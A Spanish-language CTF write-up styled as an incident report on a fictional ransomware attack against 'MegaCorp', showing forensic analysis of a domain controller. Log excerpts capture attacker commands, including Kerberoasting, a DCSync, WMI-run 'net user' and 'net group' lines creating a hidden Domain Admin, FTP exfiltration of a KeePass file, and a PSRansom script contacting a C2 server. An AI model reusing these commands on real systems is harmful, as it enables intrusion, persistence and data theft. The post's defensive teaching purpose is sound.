Baklava CTF Writeup – Incident Report Style (I)

Contenido

  1. ¡WARNING! ¡LÉEME PRIMERO!
  2. Resumen ejecutivo.
  3. Antecedentes.
  4. Gestión del incidente
    • 4.1. DC02 – 192.168.20.46
    • 4.2. WS02 – 192.168.20.42
    • 4.3. WS01 – 192.168.20.41
    • 4.4. SRV01
  5. Conclusiones finales.
  6. Línea temporal del ataque.
  7. Impacto.
  8. Atribución.
  9. Lecciones aprendidas.
  10. Anexo A: IOC.
  11. FAQ (del meta, no del incidente).

Informe de Incidente BAKLAVA Parte 1

1. ¡WARNING! ¡LÉEME PRIMERO!

Este documento que estás leyendo es un informe “real” de un incidente ficticio, basado en el CTF DFIR que los compañeros Andrés Yedra y Arturo Martínez (unos fieras) montaron hace poco y que puedes encontrar aquí: https://ctf.communia.cc (y que por supuesto puedes jugar, aunque si piensas hacerlo deja de seguir leyendo porque los spoilers son más que abundantes y se pierde toda la gracia…)

Me han pedido en muchas ocasiones un “documento de ejemplo” de gestión de un incidente, tanto desde la parte de cómo investigarlo como de la parte de cómo redactarlo. En S2 Grupo tenemos como … muchos de esos documentos, pero aunque tengas todo el cuidado del mundo anonimizándolos siempre se corre un riesgo, así que hemos decidido partir de un incidente sintético. Disfruta y aprende, que el gusanillo del DFIR tiene lo suyo ;)

[Nota: todo lo que veais entre corchetes como notas… son eso, notas que no aparecerían en un documento formal, pero que creo que son de utilidad para aclarar alguna duda y sacarle el máximo provecho al análisis].

2. Resumen ejecutivo

El 22 de marzo de 2024 a las 15:30h Megacorp entra en contacto con nosotros porque ha sufrido un incidente de ransomware. Se despliega un equipo de respuesta ante incidentes, que obtiene evidencias de varios de los servidores y puestos de usuario de la Organización

Los análisis llevados a cabo permiten determinar que los atacantes enviaron un correo malicioso a uno de los usuarios de la Organización. Dicho correo tenía un enlace a un documento malicioso, que el usuario abrió infectando su puesto de usuario.

Los atacantes fueron capaces de obtener privilegios gracias a un fallo en los permisos de un directorio del equipo, y gracias a esos privilegios pudieron infectar otro equipo de usuario.

En dicho equipo realizan un ataque contra el dominio Windows que les permite obtener otro usuario privilegiado, con el que inician sesión en el servidor de datos, deshabilitan el antivirus y obtienen las credenciales existentes en el mismo.  De la misma forma, con otro usuario privilegiado logran robar una copia de todos los datos de las cuentas de usuario de la Organización (incluida una copia cifrada de las contraseñas).

Con dichas credenciales inician sesión en el controlador de dominio, y roban una base de datos de contraseñas empleada por IT (fichero de KeePass). A continuación, descargan el ransomware y lo detonan, cifrando ficheros del servidor.

Se tiene una confianza alta de que los atacantes no han realizado más actividades maliciosas en otros equipos de la Organización. Sin embargo, se recomienda un cambio generalizado de todas las contraseñas (con énfasis en aquellas cuentas con privilegios), así como restaurar desde las copias de seguridad de los servidores a una fecha anterior a las 13:00h del 22 de marzo de 2024.

3. Antecedentes

El día 22 de marzo de 2024 a las 15:30h MegaCorp (en adelante la Organización), contacta con nosotros para solicitar ayuda en un incidente de ransomware. Siguiendo los procedimientos internos de activación de equipos de respuesta ante incidentes, se genera un equipo con los empleados #34, #125 y #251, y se establece una reunión de Teams con el cliente para una toma básica de información, de la que se obtienen los siguientes datos:

  • La Organización tiene un dominio de Windows con los siguientes equipos:
    • DC02 (controlador de dominio) – 192.168.20.46
    • SRV01 (servidor de ficheros) – 192.168.20.45
    • Varias estaciones de trabajo (WS01,WS02,etc)
  • No se tiene EDR, usándose Windows Defender Essentials como antivirus.
  • Se tiene desplegada la herramienta X, que permite generar capturas de tráfico de red limitadas.
  • Los equipos están razonablemente parcheados,
  • Alrededor del mediodía los usuarios se encontraron con que no podían acceder a ningún fichero de los servidores de la Organización, sospechando que se puede tratar de un incidente de ransomware. 

Se establecen los siguientes objetivos de la respuesta ante incidentes:

  • Identificar el vector de entrada del incidente.
  • Listar las acciones llevadas a cabo por los atacantes.
  • Confirmar si se ha producido o no exfiltración de información.
  • Obtener IOC del ataque.

Se genera un espacio en nuestra nube privada para el intercambio de información entre ambas partes, y se solicita inicialmente un volcado de memoria y un triaje tanto de DC02 como de SRV01, subiéndose para ello a la nube privada los procedimientos establecidos para DumpIt y CyLR. La Organización genera la información solicitada, añadiendo las capturas de tráfico disponibles, y se procede a su análisis.

4. Gestión del incidente

DC02 – 192.168.20.46

Se plantean como primeros objetivos identificar el grupo de ransomware culpable del incidente, así como la fecha de detonación del mismo. Para ello se extrae la MFT del servidor del triaje, y se convierte a .csv con la utilidad mftdump y el comando:

mftdump.exe /l /o mft_DC02.csv $MFT

Si la pérdida de servicio ocurrió el 22 de marzo, es muy factible que los primeros ficheros cifrados aparezcan en dicha fecha. Se filtran los ficheros creados, accedidos o modificados en la MFT en dicha fecha:

$ fgrep “2024-03-22” mft_DC02.csv > mft_DC02_22032024.csv

Se realiza una inspección inicial de ficheros ordenando por ficheros modificados o creados sin encontrar ningún indicio de ficheros cifrados. Se tiene la hipótesis de que los atacantes han podido emplear el controlador de dominio para cifrar el resto de equipos, no habiendo cifrado el mismo.

Se realiza un análisis de logs con la herramienta Hayabusa, que genera varios indicadores de interés:

─────────────────────────────────────────────────────────

│ Top critical alerts:                  Top high alerts:    │

╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┤

│ Active Directory Replication from Non Machine Account (129)   Suspicious Eventlog Clearing or Configuration Change Activity (261) │

│ n/a           Mimikatz DC Sync (129)                      │

│ n/a           File Creation Date Changed to Another Year (20)                     │

│ n/a           ETW Trace Evasion Activity (2)              │

│ n/a           Important Log File Cleared (2)              │

╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┤

[Nota: Los eventos de borrado de logs en este caso son los autores del CTF preparando el entorno, pero en un caso real sería algo muy relevante].

Si revisamos el .csv de Hayabusa con las alertas, encontramos varios ítems relevantes:

  1. Actividad de Kerberoasting contra la cuenta de servicio sqladmin y desde la dirección IP 192.168.20.42 (log de eventos de Security):

2024-03-22 12:51:27.405 +01:00        Possible Kerberoasting (RC4 Kerberos Ticket Req)             med         DC02.megacorp.local    Sec         4769      654135  TgtUser: localadmin@MEGACORP.LOCAL ¦ Svc: sqladmin ¦ SrcIP: ::ffff:192.168.20.42 ¦ Status: 0x0           IpPort: 51871 ¦ LogonGuid: 20DEA55F-927F-7C4A-5024-ABFB750F2867 ¦ ServiceSid: S-1-5-21-2346594845-3239972734-3293769256-1637 ¦ TargetDomainName: MEGACORP.LOCAL ¦ TicketEncryptionType: 0x17 ¦ TicketOptions: 0x40810000 ¦ TransmittedServices: –

2024-03-22 12:51:27.405 +01:00        Suspicious Kerberos RC4 Ticket Encryption           med       DC02.megacorp.local         Sec         4769       654135  TgtUser: localadmin@MEGACORP.LOCAL ¦ Svc: sqladmin ¦ SrcIP: ::ffff:192.168.20.42 ¦ Status: 0x0   IpPort: 51871 ¦ LogonGuid: 20DEA55F-927F-7C4A-5024-ABFB750F2867 ¦ ServiceSid: S-1-5-21-2346594845-3239972734-3293769256-1637 ¦ TargetDomainName: MEGACORP.LOCAL ¦ TicketEncryptionType: 0x17 ¦ TicketOptions: 0x40810000 ¦ TransmittedServices: –

2024-03-22 12:51:27.405 +01:00        Kerberoasting Activity – Initial Query       med       DC02.megacorp.local    Sec         4769      654135  TgtUser: localadmin@MEGACORP.LOCAL ¦ Svc: sqladmin ¦ SrcIP: ::ffff:192.168.20.42 ¦ Status: 0x0  IpPort: 51871 ¦ LogonGuid: 20DEA55F-927F-7C4A-5024-ABFB750F2867 ¦ ServiceSid: S-1-5-21-2346594845-3239972734-3293769256-1637 ¦ TargetDomainName: MEGACORP.LOCAL ¦ TicketEncryptionType: 0x17 ¦ TicketOptions: 0x40810000 ¦ TransmittedServices: –

  • Posible replicación del Directorio Activo mediante un ataque de DC Sync a través del usuario helpdesk:

2024-03-22 13:08:19.728 +01:00        Active Directory Replication from Non Machine Account             crit         DC02.megacorp.local    Sec         4662      654351  User: helpdesk ¦ ObjSvr: DS ¦ ObjName: %{ced6a520-e5af-47ea-90aa-e2906a78a2df} ¦ OpType: Object Access ¦ HID: 0x0 ¦ LID: 0x11b9a57a     AccessList: %%7688 ¦ AccessMask: 0x100 ¦ AdditionalInfo2: ¦ AdditionalInfo: – ¦ ObjectType: %{19195a5b-6da0-11d0-afd3-00c04fd930c9} ¦ Properties: %%7688 {1131f6ad-9c07-11d1-f79f-00c04fc2dcd2} {19195a5b-6da0-11d0-afd3-00c04fd930c9} ¦ SubjectDomainName: MEGACORP ¦ SubjectUserSid: S-1-5-21-2346594845-3239972734-3293769256-1638

2024-03-22 13:08:19.728 +01:00        Mimikatz DC Sync           high       DC02.megacorp.local    Sec         4662      654349         User: helpdesk ¦ ObjSvr: DS ¦ ObjName: %{ced6a520-e5af-47ea-90aa-e2906a78a2df} ¦ OpType: Object Access ¦ HID: 0x0 ¦ LID: 0x11b9a57a              AccessList: %%7688 ¦ AccessMask: 0x100 ¦ AdditionalInfo2: ¦ AdditionalInfo: – ¦ ObjectType: %{19195a5b-6da0-11d0-afd3-00c04fd930c9} ¦ Properties: %%7688 {1131f6aa-9c07-11d1-f79f-00c04fc2dcd2} {19195a5b-6da0-11d0-afd3-00c04fd930c9} ¦ SubjectDomainName: MEGACORP ¦ SubjectUserSid: S-1-5-21-2346594845-3239972734-3293769256-1638

Se confirma la replicación del Directorio Activo investigando los GUID existentes:

https://github.com/atc-project/atomic-threat-coverage/blob/master/analytics/generated/atc_es_index.json

https://github.com/Cyb3rWard0g/ThreatHunter-Playbook/tree/master/playbooks/windows/06_credential_access/T1003_credential_dumping/ad_replication_non_machine_account.md

{“date_created”: “2019-07-26T00:00:00”, “sigma_rule_path”: “es/windows/builtin/win_ad_replication_non_machine_account.yml”, “date_modified”: “2020-03-02T00:00:00”, “description”: “Detects potential abuse of Active Directory Replication Service (ADRS) from a non machine account to request credentials.”, “references”: [“https://github.com/Cyb3rWard0g/ThreatHunter-Playbook/tree/master/playbooks/windows/06_credential_access/T1003_credential_dumping/ad_replication_non_machine_account.md”], “customer”: [“None”], “tactic”: [“TA0006: Credential Access”], “dr_id”: “17d619c1-e020-4347-957e-1d1207455c93”, “technique”: [“T1003: Credential Dumping”], “raw_detection_rule”: “detection:\n  condition: selection and not filter\n  filter:\n  – SubjectUserName|endswith: $\n  – SubjectUserName|startswith: MSOL_\n  selection:\n    AccessMask: ‘0x100’\n    EventID: 4662\n    Properties|contains:\n    – 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2\n    – 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2\n    – 89e95b76-444d-4c62-991a-0facbeda640c\nfields:\n- ComputerName\n- SubjectDomainName\n- SubjectUserName\n”, “detection_rule_title”: “Active Directory Replication from Non Machine Account”, “detection_rule_author”: “Roberto Rodriguez @Cyb3rWard0g”, “detection_rule_internal_responsible”: “not defined”, “detection_rule_development_status”: “experimental”, “detection_rule_severity”: “critical”, “detection_rule_confidence”: “not defined”, “category”: [“OS Logs”], “platform”: [“Windows”], “type”: [“Windows Log”], “channel”: [“Security”], “provider”: [“Microsoft-Windows-Security-Auditing”], “data_needed”: [“DN_0030_4662_operation_was_performed_on_an_object”], “logging_policy”: [“LP_0027_windows_audit_directory_service_access”], “enrichment”: [“not defined”], “enrichment_requirements”: [“not defined”]}

[Nota: para los que os habéis pegado cabezazos con el CTF diciendo Mimikatz, la respuesta correcta es crackmapexec. Si investigas muy a fondo esos GUID, llegas a un repo oscuro de reglas SIGMA donde se asocian con crackmapexec]

  • A través de los logs de Sysmon se detecta actividad de WMI que conduce a la generación por parte de Administrador del usuario administrad0r (contraseña “dPassword2024!”) y su añadido al grupo de Administradores de Dominio:

2024-03-22 13:08:44.978 +01:00        WmiPrvSE Spawned A Process   med       DC02.megacorp.local    Sysmon 1         110629  Cmdline: cmd.exe /Q /c net user administrat0r dPassword2024! /add /domain 1> \Windows\Temp\AvPuop 2>&1 ¦ Proc: C:\Windows\System32\cmd.exe ¦ User: MEGACORP\Administrator ¦ ParentCmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding ¦ LID: 0x11b9bbbc ¦ LGUID: 87AE893E-74CC-65FD-BCBB-B91100000000 ¦ PID: 6632 ¦ PGUID: 87AE893E-74CC-65FD-0B2E-000000000700 ¦ ParentPID: 1908 ¦ ParentPGUID: 87AE893E-74CC-65FD-0A2E-000000000700 ¦ Description: Windows Command Processor ¦ Product: Microsoft® Windows® Operating System ¦ Company: Microsoft Corporation ¦ Hashes: MD5=E7A6B1F51EFB405287A8048CFA4690F4,SHA256=EB71EA69DD19F728AB9240565E8C7EFB59821E19E3788E289301E1E74940C208,IMPHASH=D60B77062898DC6BFAE7FE11A0F8806C         CurrentDirectory: C:\ ¦ FileVersion: 10.0.20348.1 (WinBuild.160101.0800) ¦ IntegrityLevel: High ¦ OriginalFileName: Cmd.Exe ¦ ParentImage: C:\Windows\System32\wbem\WmiPrvSE.exe ¦ ParentUser: NT AUTHORITY\NETWORK SERVICE ¦ RuleName: – ¦ TerminalSessionId: 0 ¦ UtcTime: 2024-03-22 12:08:44.972

2024-03-22 13:09:31.388 +01:00        WmiPrvSE Spawned A Process   med       DC02.megacorp.local    Sysmon 1         110632  Cmdline: cmd.exe /Q /c net group ‘Domain Admins’ /add administrat0r /domain 1> \Windows\Temp\qzvdaS 2>&1 ¦ Proc: C:\Windows\System32\cmd.exe ¦ User: MEGACORP\Administrator ¦ ParentCmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding ¦ LID: 0x11b9e0be ¦ LGUID: 87AE893E-74FB-65FD-BEE0-B91100000000 ¦ PID: 7000 ¦ PGUID: 87AE893E-74FB-65FD-0F2E-000000000700 ¦ ParentPID: 1908 ¦ ParentPGUID: 87AE893E-74CC-65FD-0A2E-000000000700 ¦ Description: Windows Command Processor ¦ Product: Microsoft® Windows® Operating System ¦ Company: Microsoft Corporation ¦ Hashes: MD5=E7A6B1F51EFB405287A8048CFA4690F4,SHA256=EB71EA69DD19F728AB9240565E8C7EFB59821E19E3788E289301E1E74940C208,IMPHASH=D60B77062898DC6BFAE7FE11A0F8806C         CurrentDirectory: C:\ ¦ FileVersion: 10.0.20348.1 (WinBuild.160101.0800) ¦ IntegrityLevel: High ¦ OriginalFileName: Cmd.Exe ¦ ParentImage: C:\Windows\System32\wbem\WmiPrvSE.exe ¦ ParentUser: NT AUTHORITY\NETWORK SERVICE ¦ RuleName: – ¦ TerminalSessionId: 0 ¦ UtcTime: 2024-03-22 12:09:31.384

  • Los atacantes emplean dicho acceso para realizar una conexión desde la dirección IP 192.168.20.42 a través de RDP (Escritorio Remoto):

2024-03-22 13:12:08.397 +01:00        Net Conn (Sysmon Alert)              med       DC02.megacorp.local    Sysmon 3         110651  Initiated: false ¦ Proto: tcp ¦ SrcIP: 192.168.20.42 ¦ SrcPort: 52156 ¦ SrcHost: – ¦ TgtIP: 192.168.20.46 ¦ TgtPort: 3389 ¦ TgtHost: DC02.megacorp.local ¦ User: NT AUTHORITY\NETWORK SERVICE ¦ Proc: C:\Windows\System32\svchost.exe ¦ PID: 800 ¦ PGUID: 87AE893E-4E0F-65E0-1200-000000000700         DestinationPortName: ms-wbt-server ¦ RuleName: RDP ¦ UtcTime: 2024-03-22 12:12:06.292

Se cruzan los logs de Sysmon con los de Terminal Services, confirmando el acceso del nuevo usuario administrat0r:

Nombre de registro:Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational

Origen:        Microsoft-Windows-TerminalServices-RemoteConnectionManager

Fecha:         22/03/2024 13:12:07

Id. del evento:1149

Usuario:       Servicio de red

Equipo:        DC02.megacorp.local

Descripción: Servicios de Escritorio remoto: autenticación de usuario correcta:

Usuario: administrat0r

Dominio:

Como detalle interesante, los atacantes dejan ver el ComputerName de su equipo origen en el inicio de sesión en el log de eventos de Security:

Nombre de registro:Security

Origen:        Microsoft-Windows-Security-Auditing

Fecha:         22/03/2024 13:12:06

Id. del evento:4624

Categoría de la tarea:Logon

Equipo:        DC02.megacorp.local

Descripción: Se inició sesión correctamente en una cuenta.

Información de inicio de sesión:

         Tipo de inicio de sesión:                3

         Modo de administrador restringido:       –

         Cuenta virtual:                  No

         Token elevado:                 Sí

Nivel de suplantación:                            Suplantación

Nuevo inicio de sesión:

         Id. de seguridad:                             S-1-5-21-2346594845-3239972734-3293769256-1644

         Nombre de cuenta:                         administrat0r

         Dominio de cuenta:                        MEGACORP

         Id. de inicio de sesión:                   0x11BA6CAE

         Inicio de sesión vinculado:                           0x0

         Nombre de cuenta de red:           –

         Dominio de cuenta de red:           –

         GUID de inicio de sesión:                              {00000000-0000-0000-0000-000000000000}

Información de red:

         Nombre de estación de trabajo: ubuntu

         Dirección de red de origen:          192.168.20.42

         Puerto de origen:                            0

Información de autenticación detallada:

         Proceso de inicio de sesión:                         NtLmSsp

         Paquete de autenticación:           NTLM

         Servicios transitados:    –

         Nombre de paquete (solo NTLM)

[Nota: Es a la vez WS02 y la Kali de los atacantes ¿Brujería? No, herramientas de tunneling para que todo el tráfico que llegue a WS02 desde el equipo de los atacantes llegue a la red interna].

Dicha conexión se repite a las 13:20h.

2024-03-22 13:20:04.243 +01:00        Net Conn (Sysmon Alert)              3             Initiated: false ¦ Proto: tcp ¦ SrcIP: 192.168.20.42 ¦ SrcPort: 52180 ¦ SrcHost: – ¦ TgtIP: 192.168.20.46 ¦ TgtPort: 3389 ¦ TgtHost: DC02.megacorp.local ¦ User: NT AUTHORITY\NETWORK SERVICE ¦ Proc: C:\Windows\System32\svchost.exe ¦ PID: 800 ¦ PGUID: 87AE893E-4E0F-65E0-1200-000000000700          DestinationPortName: ms-wbt-server ¦ RuleName: RDP ¦ UtcTime: 2024-03-22 12:20:02.056

  • El usuario administrat0r descarga el software FileZilla en modo portable (posible exfiltración de datos), y lo ejecuta pocos minutos después:

2024-03-22 13:25:37.490 +01:00        File Created (Sysmon Alert)         11           Rule: Downloads ¦ Path: C:\Users\administrat0r.MEGACORP\Downloads\FileZillaPortable_3.66.5.paf.exe:Zone.Identifier ¦ Proc: C:\Program Files\Mozilla Firefox\firefox.exe ¦ PID: 1480 ¦ PGUID: 87AE893E-77ED-65FD-A52E-000000000700         CreationUtcTime: 2024-03-22 12:24:14.475 ¦ User: MEGACORP\administrat0r ¦ UtcTime: 2024-03-22 12:25:37.489

2024-03-22 13:31:33.766 +01:00        Net Conn (Sysmon Alert)              3             Initiated: true ¦ Proto: tcp ¦ SrcIP: 192.168.20.46 ¦ SrcPort: 57127 ¦ SrcHost: DC02.megacorp.local ¦ TgtIP: 200.234.235.200 ¦ TgtPort: 21 ¦ TgtHost: 4939a99f-df39-424f-80ba-83c3ec5b824f.clouding.host ¦ User: MEGACORP\administrat0r ¦ Proc: C:\Users\administrat0r.MEGACORP\Downloads\FileZillaPortable\App\filezilla64\filezilla.exe ¦ PID: 1176 ¦ PGUID: 87AE893E-799B-65FD-C42E-000000000700    DestinationIsIpv6: false ¦ DestinationPortName: ftp ¦ RuleName: Usermode ¦ SourceIsIpv6: false ¦ SourcePortName: – ¦ UtcTime: 2024-03-22 12:31:31.685

Analizando los logs de Sysmon se comprueba que la comunicación se ha establecido de forma correcta, ya que se observa la apertura de una comunicación de FTP en modo pasivo:

Nombre de registro:Microsoft-Windows-Sysmon/Operational

Origen:        Microsoft-Windows-Sysmon

Fecha:         22/03/2024 13:31:37

Id. del evento:3

Categoría de la tarea:Network connection detected (rule: NetworkConnect)

Nivel:         Información

Palabras clave:

Usuario:       SYSTEM

Equipo:        DC02.megacorp.local

Descripción:

Network connection detected:

RuleName: Usermode

UtcTime: 2024-03-22 12:31:35.606

ProcessGuid: {87ae893e-799b-65fd-c42e-000000000700}

ProcessId: 1176

Image: C:\Users\administrat0r.MEGACORP\Downloads\FileZillaPortable\App\filezilla64\filezilla.exe

User: MEGACORP\administrat0r

Protocol: tcp

Initiated: true

SourceIsIpv6: false

SourceIp: 192.168.20.46

SourceHostname: DC02.megacorp.local

SourcePort: 57128

DestinationIsIpv6: false

DestinationIp: 200.234.235.200

DestinationHostname: 4939a99f-df39-424f-80ba-83c3ec5b824f.clouding.host

DestinationPort: 51484

Si se analiza la captura de tráfico disponible, se puede encontrar en primer lugar las credenciales empleadas por los atacantes para conectar al FTP:

56121             155.283210         200.234.235.200               192.168.20.46    FTP        86           Response: 331 Password required for ftp1

56122             155.283880         192.168.20.46    200.234.235.200               FTP        75           Request: PASS fPassword2024!

Así mismo, se observa que los atacantes han exfiltrado un fichero:

56023             127.932534         192.168.20.46    200.234.235.200               FTP-DATA           1466      FTP Data: 1412 bytes (PASV) (STOR management-passwords-1.kdbx)

Este fichero corresponde con casi total seguridad a un fichero de contraseñas de KeePass. Se recomienda a la Organización el cambio de todas las contraseñas que existan en dicho ficheros

  • A continuación, se observa en los logs de Powershell la ejecución de un script malicioso (el fichero completo se puede encontrar en el Anexo B: Powershell – Ransomware):

2024-03-22 13:33:29.212 +01:00        Potentially Malicious PwSh         4104      ScriptBlock: powershell /ep bypass         MessageNumber: 1 ¦ MessageTotal: 1 ¦ Path: ¦ ScriptBlockId: d51a68b7-44f8-4ce6-993b-bdb80551be6b

2024-03-22 13:33:29.422 +01:00        Suspicious PowerShell Parameter Substring        1             Cmdline: “C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe” /ep bypass ¦ Proc: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe ¦ User: MEGACORP\administrat0r ¦ ParentCmdline: “C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe” ¦ LID: 0x11bae44c ¦ LGUID: 87AE893E-759C-65FD-4CE4-BA1100000000 ¦ PID: 9248 ¦ PGUID: 87AE893E-7A99-65FD-DA2E-000000000700 ¦ ParentPID: 3580 ¦ ParentPGUID: 87AE893E-77BC-65FD-A22E-000000000700 ¦ Description: Windows PowerShell ¦ Product: Microsoft® Windows® Operating System ¦ Company: Microsoft Corporation ¦ Hashes: MD5=2E0CCB27064856E3D55017FA2D33A7B9,SHA256=1C84C8632C5269F24876ED9F49FA810B49F77E1E92E8918FC164C34B020F9A94,IMPHASH=BF7A6E7A62C3F5B2E8E069438AC1DD3D         CurrentDirectory: C:\Users\administrat0r.MEGACORP\Desktop\ ¦ FileVersion: 10.0.20348.1 (WinBuild.160101.0800) ¦ IntegrityLevel: Medium ¦ OriginalFileName: PowerShell.EXE ¦ RuleName: – ¦ TerminalSessionId: 3 ¦ UtcTime: 2024-03-22 12:33:29.418

2024-03-22 13:34:37.813 +01:00        Potentially Malicious PwSh         4104      ScriptBlock: [REDACTED]

Se analiza el script malicioso, obteniendo los siguientes detalles de interés:

  • El fichero ejecutado se encuentra en el directorio del usuario administrad0r, y tiene como nombre baklavasom.ps1:

C:\Users\administrat0r.MEGACORP\Desktop\baklavasom.ps1

  • El script que permite identificar el ransomware como PsRansom, siendo su creador es @JoelGMSec:

PSRansom by @JoelGMSec # # https://darkbyte.net

  • Se realiza una búsqueda en fuentes abiertas y se verifica que el script coincide con lo observado en el repo de Github del mismo nombre:

https://github.com/JoelGMSec/PSRansom

  • Un análisis inicial del mismo indica que tiene unos parámetros que resultan interesantes:

Write-Host “.\PSRansom.ps1 -e Directory -s C2Server -p C2Port”

Se busca en los logs de Powershell información sobre el C2, encontrando un evento de Powershell donde aparecen:

Nombre de registro:Windows PowerShell

Origen:        PowerShell

Fecha:         22/03/2024 13:34:40

Id. del evento:800

Categoría de la tarea:Detalles de ejecución de la canalización

Equipo:        DC02.megacorp.local

Descripción: Detalles de ejecución de canalización para la línea de comandos:    Try { Invoke-WebRequest -useb “$C2Server`:$C2Port/status” -Method GET

UserId=MEGACORP\administrat0r

HostApplication=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe /ep bypass

ScriptName=C:\Users\administrat0r.MEGACORP\Desktop\baklavasom.ps1

CommandLine=   Try { Invoke-WebRequest -useb “$C2Server`:$C2Port/status” -Method GET

  • Se realiza una búsqueda por cadenas en los logs de Powershell, y se encuentra la cadena con los datos del C2 y el puerto:

CommandInvocation(Invoke-WebRequest): “Invoke-WebRequest”

ParameterBinding(Invoke-WebRequest): name=”UseBasicParsing”; value=”True”

ParameterBinding(Invoke-WebRequest): name=”Method”; value=”Get”

ParameterBinding(Invoke-WebRequest): name=”Uri”; value=”200.234.235.200:8800/status”

[Nota: otra opción sería, en un incidente real, solicitar al cliente el historial de Powershell, que en la MFT vemos que existe y posiblemente tenga los parámetros de ejecución:

2024-03-22 12:21:28                2024-03-22 12:34:36      2024-03-22 12:34:36       2024-03-22 12:34:36 369             369         txt \Users\administrat0r.MEGACORP\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

Se confirma que el ransomware se ejecutó a las 13:34h hora local, ya que los logs de Powershell muestran los ficheros cifrados (que al parecer afectan únicamente a SRV01):

Detalles:

CommandInvocation(Get-Content): “Get-Content”

ParameterBinding(Get-Content): name=”Path”; value=”\\SRV01\files\readme.txt”

CommandInvocation(Select-String): “Select-String”

ParameterBinding(Select-String): name=”Pattern”; value=”[!]”

CommandInvocation(Select-String): “Select-String”

ParameterBinding(Select-String): name=”NotMatch”; value=”True”

ParameterBinding(Select-String): name=”Pattern”; value=”PSRansom!”

ParameterBinding(Select-String): name=”InputObject”; value=”All your files have been encrypted by PSRansom!”

ParameterBinding(Select-String): name=”InputObject”; value=”All your files have been encrypted by PSRansom!”

ParameterBinding(Select-String): name=”InputObject”; value=”But don’t worry, you can still recover them with the recovery key :)”

ParameterBinding(Select-String): name=”InputObject”; value=””

ParameterBinding(Select-String): name=”InputObject”; value=”Recovery Key: Ask for it to out team :) “

ParameterBinding(Select-String): name=”InputObject”; value=””

ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-1.docx is now encrypted”

ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-1.docx is now encrypted”

ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-10.docx is now encrypted”

ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-10.docx is now encrypted”

ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-11.docx is now encrypted”

ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-11.docx is now encrypted”

ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-12.docx is now encrypted”

ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-12.docx is now encrypted”

ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-13.docx is now encrypted”

ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-13.docx is now encrypted”

ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-14.docx is now encrypted”

ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-14.docx is now encrypted”

ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-15.docx is now encrypted”

ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-15.docx is now encrypted”

ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-16.docx is now encrypted”

ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-16.docx is now encrypted”

ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-17.docx is now encrypted”

ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-17.docx is now encrypted”

ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-18.docx is now encrypted”

ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-18.docx is now encrypted”

ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-19.docx is now encrypted”

ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-19.docx is now encrypted”

ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-2.docx is now encrypted”

ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-2.docx is now encrypted”

ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-20.docx is now encrypted”

ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-20.docx is now encrypted”

ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-3.docx is now encrypted”

ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-3.docx is now encrypted”

ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-4.docx is now encrypted”

ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-4.docx is now encrypted”

ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-5.docx is now encrypted”

ParameterBinding(Select-String): name=”InputObject”; value=”[!] \\SRV01\files\confidential\conf-2024-5.docx is now encrypted”

